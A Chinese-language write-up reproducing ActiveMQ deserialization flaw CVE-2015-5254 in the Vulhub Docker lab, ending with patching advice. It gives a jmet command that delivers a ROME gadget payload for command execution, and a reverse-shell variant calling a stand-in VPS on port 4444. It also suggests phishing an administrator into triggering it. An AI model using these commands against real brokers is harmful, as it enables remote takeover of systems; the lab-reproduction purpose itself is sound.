ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

ActiveMQ 反序列化漏洞 CVE-2015-5254 复现:从 jmet 利用到任意命令执行

ActiveMQ 反序列化漏洞 CVE-2015-5254 复现:从 jmet 利用到任意命令执行 ActiveMQ 反序列化漏洞 CVE-2015-5254 复现从 jmet 利用到任意命令执行【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub本文基于 Vulhub 仓库中的activemq/CVE-2015-5254漏洞环境系统讲解 Apache ActiveMQ 5.x5.13.0 之前反序列化漏洞的原理、环境搭建与完整利用流程。读者将掌握如何通过 jmet 工具向 61616 端口投递恶意 JMS ObjectMessage并在 Web 管理控制台触发命令执行最终实现反弹 Shell 的完整实战方案。漏洞概述Apache ActiveMQ 是美国阿帕奇Apache软件基金会所研发的一套开源消息中间件它支持 Java 消息服务JMS、集群、Spring Framework 等。作为企业级消息总线ActiveMQ 负责在分布式系统之间可靠地传递消息其 OpenWire 协议与 Web 管理控制台是日常运维中的核心入口。CVE-2015-5254 是 ActiveMQ 5.13.0 之前 5.x 版本中存在的一处反序列化安全漏洞其根源在于程序没有限制可在代理Broker中序列化的类。远程攻击者可借助特制的序列化 Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。由于 Java 原生反序列化机制会递归实例化流中的对象一旦攻击者能够将包含恶意 gadget 链的字节流送入 Broker 的队列目标主机即可被远程攻陷。参考链接Black Hat USA 2016 议题Pwning Your Java Messaging With Deserialization Vulnerabilities见 CVE-2015-5254 文档 中给出的 PDF 链接。漏洞环境搭建本仓库在activemq/CVE-2015-5254/目录下提供了开箱即用的漏洞环境其 docker-compose.yml 内容如下version: 2 services: activemq: image: vulhub/activemq:5.11.1 ports: - 61616:61616 - 8161:8161在activemq/CVE-2015-5254/目录下执行docker compose up -d即可启动漏洞环境。环境运行后容器将监听两个端口端口作用61616工作端口OpenWire 消息传输端口消息在这个端口进行传递8161Web 管理页面端口访问http://your-ip:8161即可看到 Web 管理页面。不过需要明确的是这个漏洞理论上是不需要 Web 的——利用的本质是向 61616 端口投递恶意消息Web 管理页面只是复现过程中触发反序列化的便捷途径。基础镜像源码佐证本环境使用的vulhub/activemq:5.11.1镜像由仓库 base/activemq/5.11.1/Dockerfile 构建而来FROM vulhub/java:7u21-jdk ENV ACTIVEMQ_VERSION 5.11.1 ENV ACTIVEMQ apache-activemq-$ACTIVEMQ_VERSION ENV ACTIVEMQ_TCP61616 ACTIVEMQ_UI8161 ENV ACTIVEMQ_HOME /opt/activemq RUN set -x \ curl -s -S https://archive.apache.org/dist/activemq/$ACTIVEMQ_VERSION/$ACTIVEMQ-bin.tar.gz | tar xvz -C /opt \ ln -s /opt/$ACTIVEMQ $ACTIVEMQ_HOME WORKDIR $ACTIVEMQ_HOME EXPOSE $ACTIVEMQ_TCP $ACTIVEMQ_UI CMD [/bin/sh, -c, bin/activemq console]从该 Dockerfile 可以看出两点关键信息JDK 版本为 7u21即镜像运行在 Java 7 环境上这与漏洞发生的年代环境一致也决定了 ysoserial 中 gadget 链的可用性需要结合 JVM 版本与依赖类路径来选取环境变量ACTIVEMQ_TCP61616、ACTIVEMQ_UI8161与 docker-compose.yml 中映射的端口一一对应确认了工作端口与管理端口的分工。此外仓库还提供了base/activemq/5.11.1/with-cron/变体Dockerfile 与 entrypoint.sh它在基础镜像之上额外安装了 cron 与 rsyslog供需要定时任务辅助的利用场景使用本 CVE 复现无需该变体。漏洞利用流程利用思路总览整个利用过程可分为三步构造可执行命令的序列化对象可以使用 ysoserial发送将恶意对象作为一个 JMS 消息发送给目标 61616 端口触发访问 Web 管理页面读取该消息触发反序列化执行任意命令。第三步之所以能够触发代码执行是因为 ActiveMQ 在读取ObjectMessage时会对其中的 Java 对象执行ObjectInputStream.readObject()反序列化而受影响的版本没有对反序列化的类做白名单/黑名单限制从而让 gadget 链得以生效。使用 jmet 生成并投递 Payload为了简化利用这里使用jmetJava Message Exploitation Tool。jmet 的原理是使用 ysoserial 生成 Payload 并发送——其 jar 包内自带 ysoserial无需再自行下载。因此我们需要在 ysoserial 的 gadget 中选择一个可用的链例如ROME。使用前需注意先下载 jmet 的 jar 文件并在同目录下创建一个名为external的文件夹否则可能会报文件夹不存在的错误。执行java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y touch /tmp/success -Yp ROME your-ip 61616各参数含义如下参数含义-Q event指定消息要发送到的队列Queue名为event-I ActiveMQ指定目标中间件类型为 ActiveMQ-s以序列化ObjectMessage方式发送-Y touch /tmp/success指定要执行的命令-Yp ROME指定使用 ysoserial 的 ROME gadget 链your-ip 61616目标地址与 OpenWire 端口命令执行后jmet 会连接目标的 61616 端口并向队列中投递一条恶意消息同时给目标 ActiveMQ 添加一个名为event的队列如下图所示在 Web 管理页面触发漏洞投递完成后我们可以通过 Web 管理页面查看该队列中的全部消息http://your-ip:8161/admin/browse.jsp?JMSDestinationevent默认账号密码为admin/admin点击查看这条消息即可触发反序列化与命令执行。此时进入容器验证docker compose exec activemq bash在容器内执行ls /tmp可见/tmp/success已成功创建说明漏洞利用成功替换命令实现反弹 Shell将-Y参数中的命令替换为反弹 Shell 语句即可复用同样的流程获得目标容器控制权例如java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y bash -i /dev/tcp/your-vps/4444 01 -Yp ROME your-ip 61616攻击机先nc -lvp 4444监听随后在管理页面点击消息即可收到反弹的 Shell复现截图见 4.png。由于容器以 root 运行见 entrypoint.sh 中直接以/opt/activemq/bin/activemq console前台启动获得的即是最高的 root 权限。触发条件与注意事项值得特别注意的是通过 Web 管理页面访问消息并触发漏洞这个过程需要管理员权限即登录 admin/admin。这带来两种实战中的触发思路诱导管理员访问在没有口令的情况下可以诱导管理员点击我们的恶意链接如构造一个包含队列浏览 URL 的钓鱼链接以触发伪装合法消息将恶意负载伪装成其他合法服务所需的消息等待客户端或消费者在访问该队列时自动触发反序列化——这种方式甚至无需接触 Web 管理页面进一步印证了该漏洞理论上不需要 Web的说法。此外利用时还应关注以下前提gadget 链的选择取决于目标 JVM 与类路径本环境运行于 Java 7u21见 基础镜像 DockerfileROME 链依赖 ActiveMQ 自带的 ROME 类库因此在默认安装下可直接使用61616 端口必须对攻击者可达否则无法投递消息8161 端口用于管理触发若目标限制访问则需改用触发思路 2复现结束后应执行docker compose down清理环境。修复建议该漏洞在 ActiveMQ 5.13.0 中得到修复核心缓解措施是引入反序列化类的白名单机制ObjectMessage反序列化类白名单阻止任意 gadget 类的加载。实际生产环境中的加固建议包括将 ActiveMQ 升级到 5.13.0 及以上版本若无法立即升级限制 61616 端口仅对可信来源开放并严格管控 Web 管理控制台的访问与口令强度对ObjectMessage的类加载实施白名单策略从源头阻断恶意 gadget 链。小结CVE-2015-5254 是 JMS 消息中间件反序列化攻击的经典案例攻击面广消息端口与管理端口均可参与、利用链成熟ysoserial jmet 一键投递、影响直接任意命令执行乃至反弹 Shell。通过本仓库的activemq/CVE-2015-5254环境可以完整走通构造 Payload → 投递队列 → 管理页面触发 → 命令执行的全过程是理解 Java 反序列化漏洞利用与防御的绝佳实验素材。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表